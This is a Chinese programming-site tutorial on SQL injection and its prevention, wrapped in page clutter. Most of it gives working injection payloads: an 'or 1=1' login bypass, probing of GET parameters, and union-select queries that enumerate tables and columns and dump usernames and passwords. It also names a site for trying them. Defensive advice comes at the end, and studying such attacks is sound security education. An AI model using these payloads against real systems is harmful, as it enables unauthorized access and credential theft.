我的编程空间,编程开发者的网络收藏夹
学习永远不晚

SQL注入的实现以及防范示例详解

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

SQL注入的实现以及防范示例详解

什么是SQL注入

SQL注入是指通过构建特殊的输入篡改原来的SQL语句达到攻击者所需的操作。

Sql 注入产生原因

我们访问动态网页时往往会向服务器发送请求,服务器向数据访问层发起 Sql 查询请求,若验证通过就会执行 Sql 语句。如果用户输入的数据被构造成恶意Sql代码,如果程序没有细致地过滤用户输入的数据则会使非法数据侵入系统。

登录案例讲解

select * from admin where uname='用户名' and pwd='密码'

输入 'or 1=1 #(–空格或–+或#:注释掉后面的sql语句)

这时SQL语句变为:select * from admin where uname='' or 1=1 # and pwd='密码',这时SQL语句永远成立,绕过登录。

基于GET方式的SQL注入

通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠来探测URL中是否有注入点。

可登陆到mituan.zone进行测试

1、' '1'' LIMIT 0,1 ' :多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = 'id' limit 0,1

2、' ' LIMIT 0,1 ':多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = id limit 0,1

3、' '1'') LIMIT 0,1 ':多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = ('id') limit 0,1

4、单引号、括号都不报错说明被接收的是字符串类型' "1"") LIMIT 0,1 ':多了一个双引号

可猜测SQL语句为:select login_name,password from admin where id = ("id") limit 0,1

SQL注入利用

1、利用order by判断字段数


order by n(n为猜测字段数)--+

以案例一为例


select login_name,password from admin where id = 'id' limit 0,1
用?id=1' order by 11--+

猜测错误时则会报错

此时探测到有3个字段,用?id=0' union select 1,2,3--+探测到Login_name在第二列,Password在第三列,则第二、三列可利用。

?id=0' union select 1,2,3--+2,3改为user():查看当前MYSQL登录用户名,database():查看当前使用MYSQL数据库名,version():查看当前MYSQL版本,如改为?id=0'union select 1,user(),database()--+ 得到下图中信息

2、利用union select 联合查询,获取表名。(在使用union select时要将前面的SQL语句报错)


union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

3、利用union select 联合查询,获取字段名。(以上面查询到的users表为例)


union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

4、利用union select 联合查询,获取字段值。(以上面查询到的users表为例)


union select 1,group_concat(username,0x3a,password),3 from users--+ (0x3a为冒号,用来分隔不同字段的值)

如果是地址栏不能显示信息的POST形式则可以在对话框中输入注入语句






这里使用的方法和在地址栏中的输入一样,都是先报错前面的SQL语句再使用union select联合查询拿出表中数据

SQL 注入的防范方法

  • 对用户的输入进行过滤。如:对用户的输入进行校验,可以通过正则表达式、限制长度、对单引号和双"-"进行转换等。
  • 编写程序时不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
  • 不要直接使用管理员权限的数据库连接,每个应用使用单独的且权限有限的数据库。
  • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
  • 程序的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。

总结

到此这篇关于SQL注入的实现以及防范的文章就介绍到这了,更多相关SQL注入实现及防范内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

SQL注入的实现以及防范示例详解

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

sql注入之类型以及提交注入的示例分析

这篇文章主要介绍sql注入之类型以及提交注入的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!参数类型这里说的参数是源码中存在注入的地方。其中参数类型有:数字、字符、搜索、json等。其中sql语句干扰符号有:
2023-06-20

支持cjs及esm的npm包实现示例详解

这篇文章主要为大家介绍了支持cjs及esm的npm包的示例详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
2022-11-13

SQL实现Excel的10个常用功能的示例详解

目录01. 关联公式:Vlookup02. 对比两列差异03. 去除重复值04. 缺失值处理05. 多条件筛选06. 模糊筛选数据07. 分类汇总08. 条件计算09. 删除数据间的空格10. 合并与排序列SQL笔试题原题某数据服务公司某手
2022-07-25

MySQL实现数据插入操作的示例详解

目录一、方法分类二、具体方法三、实例(1)常规插入(2)从另一个表导入(3)插入时数据重复四、注意事项(1)不写字段名,需要填充自增ID(2)按字段名填充,可以不录入id其余注意事项使用mysql插入数据时,可以根据需求场景选择合适的插入语
2023-02-21

JavaScript实现系统防挂机(无操作弹窗)的示例详解

在一些学习系统,或者考试系统中。一旦出现长时间未操作,就会判定这个人不在场。所以就会进行退出系统,处于对安全和系统负担还有业务的需求。本文就来用JavaScript做一个系统防挂机功能,需要的可以参考一下
2023-01-09

Flask框架运用WTForms实现用户注册的示例详解

WTForms是用于web开发的灵活的表单验证和呈现库,它可以与您选择的任何web框架和模板引擎一起工作,并支持数据验证、CSRF保护、国际化等。本文将运用WTForms实现用户注册功能,需要的可以参考一下
2022-12-22

Python实现二分法查找及优化的示例详解

二分查找法(Binary Search)是一种在有序数组中查找某一特定元素的算法,在本文中,我们将使用 Python 实现二分查找算法,并深入探讨算法的原理和实现细节,感兴趣的可以了解一下
2023-05-16

C语言嵌入式实现支持浮点输出的printf示例详解

这篇文章主要为大家介绍了C语言嵌入式实现支持浮点输出的printf示例详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
2023-01-30

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录